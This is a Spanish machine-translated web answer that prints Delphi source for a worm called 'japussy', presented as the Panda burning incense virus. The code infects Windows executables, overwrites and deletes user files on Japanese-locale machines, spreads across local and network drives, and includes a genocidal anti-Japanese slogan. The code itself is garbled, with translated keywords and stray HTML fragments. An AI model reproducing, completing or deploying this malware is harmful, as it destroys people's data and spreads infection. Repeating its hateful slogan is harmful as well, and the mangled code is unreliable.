¿Cómo funciona el virus Panda quema incienso?
Si quieres hacer un panda quemando incienso, debes aprender a programar. Panda quemando incienso está escrito en Delphi. Si quieres hacerlo, debes aprender Delphi.
Lo siguiente. es el código para quemar incienso panda:
p>programa japussy;
usa
windows, sysutils, clases, gráficos, shellapi{, registro} <; /p>
const
headersize = 82432; //El tamaño del virus
iconoffset = $12eb8 //El desplazamiento del icono principal del archivo PE
//Compilado en mi delphi5 sp1 El tamaño obtenido puede ser diferente en otras versiones de Delphi
//Buscando la cadena hexadecimal de 2800000020 puede encontrar el desplazamiento del icono principal p>
{
headersize = 38912; //El tamaño del virus comprimido por upx
iconoffset = $92bc; //El desplazamiento del icono principal del pe; archivo comprimido por upx
//upx 1.24 w Uso: upx -9 --8086 japussy.exe
}
iconsize = $2e8; tamaño del icono principal del archivo PE--744 bytes
icontail = iconoffset iconsize; //La cola del icono principal del archivo PE
id = $44444444; Marca de infección
//Código basura para escribir
catchword = 'si es necesario eliminar una raza, debe ser yamato' '
'si es una. El país necesita ser destruido, ¡debe ser Japón! '
'*** w32.japussy.worm.a ***'; /p>
función Registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //Declaración de función
var
tmpfile: string;
si: startupinfo;
pi: Process_information;
isjap: boolean = false //marca del sistema operativo japonés p>
{Juzgar si es win9x}
función iswin9x: boolean
var
ver: tosversioninfo
comenzar
resultado := false
ver.dwosversioninfosize := sizeof(tosversioninfo
si no getversionex(ver) entonces
salir;
si (ver.dwplatformid = ver
_platform_win32_windows) luego //win9x
resultado := true;
end
{Copiar entre secuencias}
procedimiento copystream (src) : tstream; sstartpos: entero; dst: tstream;
dstartpos: entero;
var
scurpos, dcurpos: entero; p>
comenzar
scurpos:= src.posición;
dcurpos:= dst.posición
src.seek(sstartpos, 0 );
dst.seek(dstartpos, 0);
dst.copyfrom(src, recuento);
src.seek(scurpos, 0); p>
dst.seek(dcurpos, 0);
end;
{ Separe el archivo host del archivo pe infectado para su uso}
procedimiento extractfile(nombre de archivo: cadena);
var
sstream, dstream: tfilestream
begin
try
<; p>sstream:= tfilestream.create(paramstr(0), fmopenread o fmsharedenynone);prueba
dstream:= tfilestream.create(filename, fmcreate);
prueba
sstream.seek(headersize, 0); //Omite la parte del virus del encabezado
dstream.copyfrom(sstream, sstream. size - headersize); /p>
finalmente
dstream.free
fin;
finalmente
transmisión libre
fin;
excepto
fin;
fin;
{llenar estructura de información de inicio}
procedimiento fillstartupinfo(var si: startupinfo; estado: palabra
comenzar
si.cb := sizeof(si
si.lpreserved:=); nil;
si.lpdesktop:= nil;
si.lptitle:= nil
si.dwflags:= startf_useshowwindow; >si.wshowwindow:= estado;
si.cbreserved2:=
si.lpreserv
ed2:= nil;
fin;
{Enviar correo electrónico venenoso}
procedimiento enviar correo
comenzar
< p; >//¿Quién está dispuesto a completar esto?fin;
{infección pe file}
procedimiento infectonefile(nombre de archivo: cadena
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream
iid: longint
aicon: ticon; , ispe: booleano;
i: entero;
buf: matriz[0..1] de char
comenzar
try //Si ocurre un error, el archivo se está utilizando, salga
if comparetext(filename, 'japussy.exe') = 0 entonces //Si es él mismo, no se infectará p>
salir;
p>infectado := falso;
ispe := falso
srcstream := tfilestream.create(nombre de archivo, fmopenread;
prueba
for i := 0 a $108 hacer //Verificar el encabezado del archivo
comenzar
srcstream.seek( i, entonces desde el principio);
srcstream.read(buf, 2
if (buf[0] = #80) y (buf[1] = #69) entonces / /pe mark
begin
ispe:= true; //Es un archivo pe
break
end; p>
end;
srcstream.seek(-4, sofromend); //Verificar indicador de infección
srcstream.read(iid, 4); p>si (iid = id) o (srcstream.size lt; 10240) entonces //los archivos demasiado pequeños no están infectados
infectados := true
finalmente
srcstream.free;
end;
si está infectado o (no es ispe) entonces //Salir si está infectado o no es un archivo pe
salir;
icostream := tmemorystream .create;
dststream := tmemorystream.create
prueba
aicon := ticon.create;
prueba
//Obtén el ícono principal (744 bytes) del archivo infectado y guárdalo en la secuencia
aicon.releasehandle
;un
icon.handle:= extracticon(hinstance, pchar(nombre de archivo), 0);
aicon.savetostream(icostream
finalmente
aicon.free;
fin;
srcstream:= tfilestream.create(nombre de archivo, fmopenread
//Archivo de encabezado
hdrstream:= tfilestream); .create(paramstr(0), fmopenread o fmsharedenynone);
prueba
//Escribe los datos antes del icono principal del virus
copystream(hdrstream, 0). , dststream, 0, iconoffset);
//Escribe el icono principal del programa actual
copystream(icostream, 22, dststream, iconoffset, iconsize); p>//Escribe los datos entre el ícono principal del virus y la cola del virus
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail
/); /Escribir Ingrese el programa host
copystream(srcstream, 0, dststream, headersize, srcstream.size
//Escriba la marca infectada
dststream); buscar (0, 2);
iid := $44444444;
dststream.write(iid, 4
finalmente
); hdrstream .free
fin
finalmente
srcstream.free
icostream.free
dststream .savetofile(nombre de archivo); //Reemplazar el archivo host
dststream.free
end
excepto
end;
end;
{Escribe el archivo de destino en código basura y luego elimínalo}
procedimiento smashfile(nombre de archivo: string
var
filehandle: entero;
i, tamaño, masa, máximo, len: entero
comenzar
intentar
p>setfileattributes(pchar(filename), 0); //Eliminar el atributo de solo lectura
filehandle:= fileopen(filename, fmopenwrite); p>try
size:= getfilesize(filehandle, nil); //Tamaño del archivo
i:=
rand;
omize;
max := random(15); //Número aleatorio de veces para escribir código basura
si max lt; entonces
max := 5 ;
mass := size div max; //El tamaño de cada bloque de intervalo
len := length(catchword
mientras i lt; max do
begin
fileseek(filehandle, i * mass, 0); //Posicionamiento
//Escribe código basura para destruir completamente el archivo< / p>
filewrite(filehandle, catchword, len
inc(i
end
finalmente
); fileclose(filehandle); //Cerrar el archivo
end;
deletefile(pchar(filename)); //Eliminarlo
excepto
end;
end;
{Obtener una lista de unidades grabables}
función getdrives: string
var
tipo de disco: palabra;
d: char;
cadena:
i: entero
comenzar
for i := 0 a 25 hacer //Atravesar 26 letras
comenzar
d := chr(i 65); p>str:= d ':\';
disktype:= getdrivetype(pchar(str));
//Obtener disco local y disco de red
si (tipo de disco = unidad_fija) o (tipo de disco = unidad_remota) entonces
resultado := resultado d
end
end; p>{Atravesar directorios, infectar y destruir archivos}
procedure loopfiles(ruta, máscara: cadena);
var
i, recuento: entero
fn, text: cadena;
subdir: tstrings;
searchrec: tsearchrec
msg:
función isvaliddir(searchrec: tsearchrec): entero;
comenzar
if (searchrec.attr lt;gt; 16) y (searchrec.name lt;gt; '. ' ) y
(searchrec.name lt; gt; '..') entonces
resultado:= 0 //No es un directorio
else if (searchrec .attr = 16) y (buscar
rec.name <
else result := 2; //Es el directorio raíz
end
begin
if ( findfirst(path mask, faanyfile, searchrec) = 0) luego
comenzar
repetir
peekmessage(msg, 0, 0, 0, pm_remove); /Ajusta la cola de mensajes para evitar generar dudas
si isvaliddir(searchrec) = 0 entonces
comienza
fn := ruta searchrec.name
ext := mayúscula (extractfileext(fn));
si (ext = '.exe') o (ext = '.scr') entonces
comenzar
infectonefile( fn); //Archivo ejecutable de infección
end
else if (ext = '.htm') o (ext = '.html') o (ext = '.asp ') luego
comenzar
//Infectar archivos html y asp, escribir el virus codificado en base64
//Infectar todo usuarios que navegan por esta página web
//¿Qué hermano mayor está dispuesto a completarla?
finalizar
de lo contrario si ext = '.wab' entonces //archivo de libreta de direcciones de Outlook
comenzar
//Obtener correo de Outlook Dirección
fin
de lo contrario, si ext = '.adc', entonces //dirección de Foxmail archivo de autocompletar
comenzar
// Obtener la dirección de correo electrónico de Foxmail
end
de lo contrario, si ext = 'ind' entonces //archivo de la libreta de direcciones de Foxmail
comenzar
// Obtenga la dirección de correo electrónico de Foxmail
end
si no
comenzar
si es japonés, entonces //Es un sistema operativo japonés
comenzar
si (ext = '.doc') o (ext = '.xls') o (ext = '.mdb') o
(ext = ' .mp3' ) o (ext = '.rm') o (ext = '.ra') o
(ext = '.wma') o (ext = '.zip') o (ext = '.rar') o
(ext = '.mpeg') o (ext = '.asf') o (ext = '.jpg') o
(ext = '.jpeg') o (ext = '.gif') o (ext = '.swf') o
(ext
= '.pdf') o (ext = '.chm') o (ext = '.avi') luego
smashfile(fn); //Destruye el archivo
end;
end;
end;
//Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU
dormir(200);
hasta (findnext(searchrec) lt; gt; 0
find;
findclose(searchrec); /p>
findclose(searchrec);
p>
subdir:= tstringlist.create;
if (findfirst(ruta '*.*', fadirectory, searchrec) = 0) entonces
comenzar
repetir
si isvaliddir(searchrec) = 1 entonces
subdir.add(searchrec. nombre);
hasta (findnext(searchrec) lt; gt; 0
find;
findclose(searchrec); >count := subdir.count - 1;
para i:= 0 para contar
loopfiles(ruta subdir.strings '\', máscara
<); p>freeandnil(subdir);end;
end p>
{Recorre todos los archivos en el disco}
procedimiento infectfiles
var
lista de controladores: cadena;
i, len: entero
comenzar
si getacp = 932 entonces / /Sistema operativo japonés
isjap:= true; //¡Vete al infierno!
driverlist:= getdrives; //Obtener la lista de discos grabables
len:= length(driverlist);
while true do //Bucle infinito< / p>
begin
for i := len downto 1 do //Recorre cada unidad de disco
loopfiles(driverlist ':\', '*.*') / /Infección
sendmail; //Enviar correos electrónicos venenosos
sleep(1000 * 60 * 5); //Dormir durante 5 minutos
end; >
fin;
{Inicio del programa principal}
comenzar
si eswin9x entonces //Es win9x
registrar el proceso de servicio (getcurrentprocessid, 1) //Registrarse como proceso de servicio
else //winnt
begin
//El hilo remoto se asigna al proceso del explorador
//
¿Qué hermano está dispuesto a completarlo?
end;
//Si es el virus original en sí
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 luego
infectfiles //Infección y envío de correos electrónicos
else //Ha parasitado el programa host y ha comenzado a funcionar
comenzar
tmpfile := paramstr(0); //Crear archivo temporal
delete(tmpfile, length(tmpfile) - 4, 4
tmpfile:= tmpfile #32 '.exe '); ; // Archivo host real, un espacio más
extractfile(tmpfile); //Separación
fillstartupinfo(si, sw_showdefault
createprocess (pchar(); tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //Crea un nuevo proceso para ejecutarlo
infectfiles; //Infección y envío de correos electrónicos